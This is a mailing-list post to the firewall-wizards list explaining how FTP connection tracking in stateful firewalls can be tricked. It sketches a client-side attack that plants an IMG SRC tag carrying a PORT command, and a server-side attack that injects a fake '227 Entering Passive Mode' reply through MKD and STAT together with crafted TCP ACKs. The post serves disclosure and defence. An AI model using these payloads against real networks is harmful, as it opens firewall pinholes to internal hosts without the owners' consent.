Variations of firewall ruleset bypass via FTP

[Mikael Olsson <mikael.olsson () clavister com>]

I just need to get this out to a bunch of people who might not have
understood "the class of attack" issue at hand here. Paul tells me
there's quite a few of the usual suspects listening here, so here 
goes :)


First, just a client side attack scenario as I imagine it:

We plant a link or IMG SRC somewhere, or mail it to them.
<img src="PORT 1,2,3,4,5,6/bogus.txt">

  Client connects to server and logs on normally, then:
  Client: CWD PORT 1,2,3,4,5,6\r\n
  Server: 200 OK.\r\n       
          (with funky ACK field that ACKs "CWD ")
  Client: PORT 1,2,3,4,5,6\r\n
  Server: 200 Yummy.\r\n

  Here's the "problem" for the attack: the client will either
  do its own PASV or PORT. A PASV command can possibly be rejected
  by the server, but then the client will likely try PORT again.
  The question is: what does a vulnerable firewall do? For PORT? 
  For PASV? Open TWO states? 

  A: Client: PASV
     Server: 501 no you don't
     Client: PORT 1,2,3,4,123,234
     Server: 200 okay

  B: Client: PASV
     Server: 227 Entering Passive Mode (2,3,4,5,123,234)

  Client: RETR bogus.txt\r\n

Except for the PORT/PASV command after our first dummy PORT
command, this looks very much like legal FTP to me. [1]

We have a "C" option too: the fake server stops responding to commands
after it's seen the fake PORT, which may or may not work depending on 
how smart the firewall is (e.g. requiring a command that actually results
in a data transfer).




Second, Art Manion at CERT just reminded me of a couple of posts
from '2000 where I was talking about the STAT command, which 
made me come up with this server attack scenario:

Cli: MKD 227 Entering Passive Mode (1,2,3,4,5,6)
Srv: 200 ok
Cli: STAT 227 Entering Passive Mode (1,2,3,4,5,6)
Srv: 213-STAT
     -rw-rw-r--    1 1019     109       1123322 Sep  5 18:09 227 Entering
Passive Mode (1,2,3,4,5,6)
     213 End.
Cli: (does funky ACKing)
Srv: 227 Entering Passive Mode (1,2,3,4,5,6)
     213 End.

The "(1,2,3,4,5,6)" string is immediately followed by CRLF.
"213 End.\r\n" will normally follow in the same packet, but 
this can be suppressed through adjusting the receive window 
in said funky ACK, which would result in a plain
"227 Entering Passive Mode (1,2,3,4,5,6)\r\n" segment.

Getting such a clean string would bypass any amount of 
"string sanity" verification put in place.

I'm also wondering if there's a way of changing the "ls" field
output in some way (for some ftp daemons?). If so, we might even be
able to get "\r\n227 ... (...)\r\n" in a _properly reassembled_
stream. ..?



-- 
Mikael Olsson, Clavister AB
Storgatan 12, Box 393, SE-891 28 ÖRNSKÖLDSVIK, Sweden
Phone: +46 (0)660 29 92 00   Mobile: +46 (0)70 26 222 05
Fax: +46 (0)660 122 50       WWW: http://www.clavister.com

"Senex semper diu dormit"

[1] Yeah, OK, you're ALWAYS toast, even with a fully paranoid proxy, if 
    you allow your internal clients to speak active mode FTP and view 
    java applets. No proxy in the world can protect against a java applet 
    connecting out and talking 100% RFC compliant active mode FTP.
_______________________________________________
firewall-wizards mailing list
firewall-wizards () honor icsalabs com
http://honor.icsalabs.com/mailman/listinfo/firewall-wizards